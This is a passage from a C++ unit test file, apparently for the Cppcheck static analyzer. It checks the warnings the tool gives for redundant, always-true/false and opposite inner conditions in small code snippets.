ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", 